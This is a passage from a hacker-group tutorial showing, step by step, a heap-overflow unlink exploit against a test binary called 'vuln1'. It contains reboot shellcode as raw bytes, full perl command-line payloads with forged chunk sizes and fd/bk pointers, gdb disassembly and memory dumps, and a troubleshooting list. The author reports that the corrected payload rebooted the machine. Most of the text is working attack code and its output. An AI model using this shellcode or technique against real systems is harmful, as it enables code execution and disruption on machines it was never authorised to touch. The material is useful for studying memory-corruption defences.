I wanted to keep the same lenght of the total shellcode. I reduced the numeber of nops
so the number of the robootshellcode fits exactly and the total shellcode has the same lenght.
char rebootshellcode[] =
"\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19"
"\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xff";
the lenght is 29 folowed by AAAAAAAAA = A*9
29+9=38
Bf used a tiny shellcode.
"\x31\xc0\x40\xcd\x80AAAAAAAAA"
it's an exit(0); shellcode - the lenght is 5+A*9 = 14
Bf 12+222+14= 248
Me 12+198+38= 248
I didn't alter the total lenght.
Let's see what errors I've made. I disassambled main section in order to add breakpoints.
(gdb) disas main
Dump of assembler code for function main:
0x8048780 <main>: push $0xaff0d
0x8048785 <main+5>: push %ebp
0x8048786 <main+6>: mov %esp,%ebp
0x8048788 <main+8>: sub $0x8,%esp
0x804878b <main+11>: push $0xfa
0x8048790 <main+16>: call 0x80484c4 <malloc>
0x8048795 <main+21>: add $0x4,%esp
0x8048798 <main+24>: mov %eax,%eax
0x804879a <main+26>: mov %eax,0xfffffffc(%ebp)
0x804879d <main+29>: push $0xfa
0x80487a2 <main+34>: call 0x80484c4 <malloc>
0x80487a7 <main+39>: add $0x4,%esp
0x80487aa <main+42>: mov %eax,%eax
0x80487ac <main+44>: mov %eax,0xfffffff8(%ebp)
0x80487af <main+47>: cmpl $0x1,0xc(%ebp)
break1-> 0x80487b3 <main+51>: jg 0x80487d3 <main+83>
0x80487b5 <main+53>: push $0x8048962
0x80487ba <main+58>: push $0x0
0x80487bc <main+60>: push $0x8048975
0x80487c1 <main+65>: call 0x8048524 <__protected_printf>
0x80487c6 <main+70>: add $0xc,%esp
0x80487c9 <main+73>: push $0xffffffff
0x80487cb <main+75>: call 0x8048534 <exit>
0x80487d0 <main+80>: add $0x4,%esp
0x80487d3 <main+83>: mov 0x10(%ebp),%eax
0x80487d6 <main+86>: add $0x4,%eax
0x80487d9 <main+89>: mov (%eax),%edx
0x80487db <main+91>: push %edx
0x80487dc <main+92>: mov 0xfffffffc(%ebp),%eax
0x80487df <main+95>: push %eax
0x80487e0 <main+96>: call 0x8048564 <strcpy>
0x80487e5 <main+101>: add $0x8,%esp
0x80487e8 <main+104>: mov 0xfffffffc(%ebp),%eax
0x80487eb <main+107>: push %eax
0x80487ec <main+108>: call 0x8048544 <free>
break2-> 0x80487f1 <main+113>: add $0x4,%esp
0x80487f4 <main+116>: push $0x0
0x80487f6 <main+118>: call 0x8048534 <exit>
0x80487fb <main+123>: add $0x4,%esp
0x80487fe <main+126>: mov %esi,%esi
0x8048800 <main+128>: leave
0x8048801 <main+129>: cmpl $0xaff0d,(%esp,1)
0x8048808 <main+136>: jne 0x8048818 <main+152>
0x804880a <main+138>: add $0x4,%esp
0x804880d <main+141>: ret
0x804880e <main+142>: insl (%dx),%es:(%edi)
0x804880f <main+143>: popa
0x8048810 <main+144>: imul $0x90909090,0x0(%esi),%ebp
0x8048817 <main+151>: nop
0x8048818 <main+152>: push $0xaff0d
0x804881d <main+157>: push $0x1
0x804881f <main+159>: push $0x0
0x8048821 <main+161>: push $0x804880e
0x8048826 <main+166>: call 0x80485d0 <__canary_death_handler>
0x804882b <main+171>: jmp 0x804882b <main+171>
0x804882d <main+173>: nop
0x804882e <main+174>: nop
0x804882f <main+175>: nop
End of assembler dump.
[root@main example]# gdb ./vuln1 -q
Breakpoint 1 at 0x80487eb
(gdb) break *0x80487f1
Breakpoint 2 at 0x80487f1
(gdb) break *0x80487fe
(gdb) r `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x198 . "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAA"; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\xBA\x99\x04\x08"; print "\xB0\x9A\x04\x08"'`
Starting program: /root/a/voodoo/example/./vuln1 `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x198 . "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAA"; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\xBA\x99\x04\x08"; print "\xB0\x9A\x04\x08"'`
Computed values :
FD 0x080499cc-C = 0x080499c0 = "\xC0\x99\x04\x08"
BK 0x08049aa8+8 = 0x08049AB0 = "\xB0\x9A\x04\x08"
chunk_alloc: 0x08049aa0 (256 (0x100) bytes)
chunk_alloc: 0x08049ba0 (256 (0x100) bytes)
chunk_free : chunk: 0x08049aa0 | next chunk: 0x08049ba0 | top chunk: 0x08049ca0
chunk sz: 256 (0x100) | chunk prev_size: 0 (0x0)
next prev size: -4 (0xfffffffc) | next chunk size: -4 (0xfffffffc)
[*] consolidate forward
with next chunk: 0x8049ba0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc)
[*] unlink:
P->bk: 0x08049ab0 | P->fd: 0x080499c0
[*] Setting 0x080499c0 + 12 to 0x08049ab0
[+] FD->bk = BK : ok
[+] BK->fd = FD : ok
[+] chunk_free was successfull
[root@main example]#
chunk_free : chunk: 0x08049aa0
Breakpoint 1, 0x80487b3 in main ()
(gdb) x/200x 0x08049aa0
0x8049aa0: 0x00000000 0x00000101 0x41414141 0x42424242
0x8049ab0: 0x90900ceb 0x90909090 0x90909090 0x90909090
0x8049ac0: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049ad0: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049ae0: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049af0: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b00: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b10: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b20: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b30: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b40: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b50: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b60: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b70: 0x90909090 0x90909090 0x16eb9090 0xb0c0315e
0x8049b80: 0xdeadbb58 0x69b9fee1 0xba281219 0x01234567
0x8049b90: 0xe5e880cd 0x41ffffff 0x41414141 0x41414141
0x8049ba0: 0xfffffffc 0xfffffffc 0x080499ba 0x08049ab0
0x8049bb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049bc0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049bd0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049be0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049bf0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c00: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c10: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c20: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c30: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c40: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c50: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c60: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c70: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c80: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c90: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049ca0: 0x00000000 0x00000361 0x00000000 0x00000000
0x8049cb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049cc0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049cd0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049ce0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049cf0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d00: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d10: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d20: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d30: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d40: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d50: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d60: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d70: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d80: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d90: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049da0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049db0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
Breakpoint 2, 0x80487f1 in main ()
(gdb) x/200x 0x08049aa0
0x8049aa0: 0x00000000 0x000000fd 0x002735b8 0x002735b8
0x8049ab0: 0x90900ceb 0x90909090 0x080499ba 0x90909090
0x8049ac0: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049ad0: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049ae0: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049af0: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b00: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b10: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b20: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b30: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b40: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b50: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b60: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049b70: 0x90909090 0x90909090 0x16eb9090 0xb0c0315e
0x8049b80: 0xdeadbb58 0x69b9fee1 0xba281219 0x01234567
0x8049b90: 0xe5e880cd 0x41ffffff 0x41414141 0x000000fc
0x8049ba0: 0xfffffffc 0xfffffffc 0x080499ba 0x08049ab0
0x8049bb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049bc0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049bd0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049be0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049bf0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c00: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c10: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c20: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c30: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c40: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c50: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c60: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c70: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c80: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049c90: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049ca0: 0x00000000 0x00000361 0x00000000 0x00000000
0x8049cb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049cc0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049cd0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049ce0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049cf0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d00: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d10: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d20: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d30: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d40: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d50: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d60: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d70: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d80: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049d90: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049da0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049db0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) continue
chunk_alloc: 0x08049aa0 (256 (0x100) bytes)
chunk_alloc: 0x08049ba0 (256 (0x100) bytes)
chunk_free : chunk: 0x08049aa0 | next chunk: 0x08049ba0 | top chunk: 0x08049ca0
chunk sz: 256 (0x100) | chunk prev_size: 0 (0x0)
next prev size: -4 (0xfffffffc) | next chunk size: -4 (0xfffffffc)
[*] consolidate forward
with next chunk: 0x8049ba0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc)
[*] unlink:
P->bk: 0x08049ab0 | P->fd: 0x080499c0
[*] Setting 0x080499c0 + 12 to 0x08049ab0
[+] FD->bk = BK : ok
[+] BK->fd = FD : ok
[+] chunk_free was successfull
[root@main example]#
Wrong padded : 0x16eb9090
Let's pad this right!
I'll add two AAs here at the end of x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAA";
results in ...\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAAAA";
And substitute this "\x90"x198 to "\x90"x196
Padded! and the lenght of the total shellcode is still the same.
The computed addreses were wrong in my example.
0x90900ceb 0x90909090 0x90909090 0x90909090
no destroyed area here
here ---^^
I will verify again the adresses you supplied for fd and bk
Original String (don't work):
./vuln1 `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x196 . "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAAAA"; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\xBA\x99\x04\x08"; print "\xB0\x9A\x04\x08"'`
After I changed the right fd and bk vallues the computer rebooted.
Modified String (works fine):
./vuln1 `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x196 . "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAAAA"; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\xC0\x99\x04\x08"; print "\xB0\x9A\x04\x08"'`
}}}}}}}}}}}}}}
That's the good one !!
What should you do if the shellcode didn't execute.
:> 5. Step
Troubleshooting:
1. Verify if the addresses are correct.
2. Verify the shellcode with some void (*func)() = sc; func() stuff
3. Check if the shellcode is probably aligned on memory (with gdb)
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
------------------------------------------------------------------------------------::
GreetZ: y0 see webpage 4 gr33t l1zt!
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
::###############################################################[www.blackhat.cx###::
Brought to you by
:::::::. ::: :::. .,-::::: ::: . :: .: :::. ::::::::::::
;;;'';;' ;;; ;;`;; ,;;;'````' ;;; .;;,. ,;; ;;, ;;`;; ;;;;;;;;''''
[[[__[[\. [[[ ,[[ '[[, [[[ [[[[[/' ,[[[,,,[[[ ,[[ '[[, [[
$$""""Y$$ $$' c$$$cc$$$c $$$ _$$$$, "$$$"""$$$ c$$$cc$$$c $$
_88o,,od8Po88oo,.__ 888 888,`88bo,__,o, "888"88o, 888 "88o 888 888, 88,
""YUMMMP" """"YUMMM YMM ""` "YUMMMMMP" MMM "MMP" MMM YMM YMM ""` MMM
#BlackHat@IRCnet <-> www.BlackHat.cx
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬